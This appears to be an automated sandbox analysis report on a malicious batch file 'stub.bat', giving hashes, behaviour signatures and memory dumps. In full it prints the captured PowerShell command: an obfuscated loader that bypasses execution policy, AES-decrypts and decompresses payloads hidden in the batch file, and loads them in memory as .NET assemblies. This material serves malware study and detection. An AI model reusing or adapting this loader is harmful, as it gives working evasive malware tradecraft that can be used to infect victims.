Analysis

  • max time kernel
    16s
  • max time network
    17s
  • platform
    windows7_x64
  • resource
    win7-20240708-en
  • resource tags

    arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
  • submitted
    18-10-2024 17:08

General

  • Target

    stub.bat

  • Size

    257KB

  • MD5

    192df095e220a68594056863421831b0

  • SHA1

    331e2fa042bdfe106939ef51aed189bcacc56779

  • SHA256

    a636e320333aa10ae6dfc2a18feedb06ca11fff33fbdcf4c6d535422275c8149

  • SHA512

    ef1f5d579324ae2e5629ac22d7c5d15d022c5455e93da8ac727da4d3aae4b9c17e0edcad2e6fe2b63a06f88dffbfd8df27db7fef287f26d41418b452eb221378

  • SSDEEP

    3072:MgIX3vJ9uIgVvEcPPJ2WeutPPYd0V6764o2CHZhPM8Kci/rm:MgYv3gVvvp2mISg78HTMx/rm

Score
7/10

Malware Config

Signatures

  • Deletes itself 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\stub.bat"
    1⤵
    • Deletes itself
    • Suspicious use of WriteProcessMemory
    PID:2536
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('S+hmuoVda8BWME8yLmZZKXTSyvWFoMlikBXuCoYuiPc='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('wtRzFSQM1SqfOLu7Qbnusg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $nxqfn=New-Object System.IO.MemoryStream(,$param_var); $lrckP=New-Object System.IO.MemoryStream; $CanxX=New-Object System.IO.Compression.GZipStream($nxqfn, [IO.Compression.CompressionMode]::Decompress); $CanxX.CopyTo($lrckP); $CanxX.Dispose(); $nxqfn.Dispose(); $lrckP.Dispose(); $lrckP.ToArray();}function execute_function($param_var,$param2_var){ $odOdG=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $rWFbP=$odOdG.EntryPoint; $rWFbP.Invoke($null, $param2_var);}$CphvX = 'C:\Users\Admin\AppData\Local\Temp\stub.bat';$host.UI.RawUI.WindowTitle = $CphvX;$wqkCO=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($CphvX).Split([Environment]::NewLine);foreach ($ePOCw in $wqkCO) { if ($ePOCw.StartsWith(':: ')) { $kiKqU=$ePOCw.Substring(3); break; }}$payloads_var=[string[]]$kiKqU.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2004

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/2004-4-0x000007FEF641E000-0x000007FEF641F000-memory.dmp

    Filesize

    4KB

  • memory/2004-6-0x0000000002340000-0x0000000002348000-memory.dmp

    Filesize

    32KB

  • memory/2004-5-0x000000001B580000-0x000000001B862000-memory.dmp

    Filesize

    2.9MB

  • memory/2004-7-0x000007FEF6160000-0x000007FEF6AFD000-memory.dmp

    Filesize

    9.6MB

  • memory/2004-8-0x000007FEF6160000-0x000007FEF6AFD000-memory.dmp

    Filesize

    9.6MB

  • memory/2004-9-0x000007FEF6160000-0x000007FEF6AFD000-memory.dmp

    Filesize

    9.6MB

  • memory/2004-10-0x000007FEF6160000-0x000007FEF6AFD000-memory.dmp

    Filesize

    9.6MB

  • memory/2004-11-0x000007FEF6160000-0x000007FEF6AFD000-memory.dmp

    Filesize

    9.6MB

  • memory/2004-12-0x000007FEF6160000-0x000007FEF6AFD000-memory.dmp

    Filesize

    9.6MB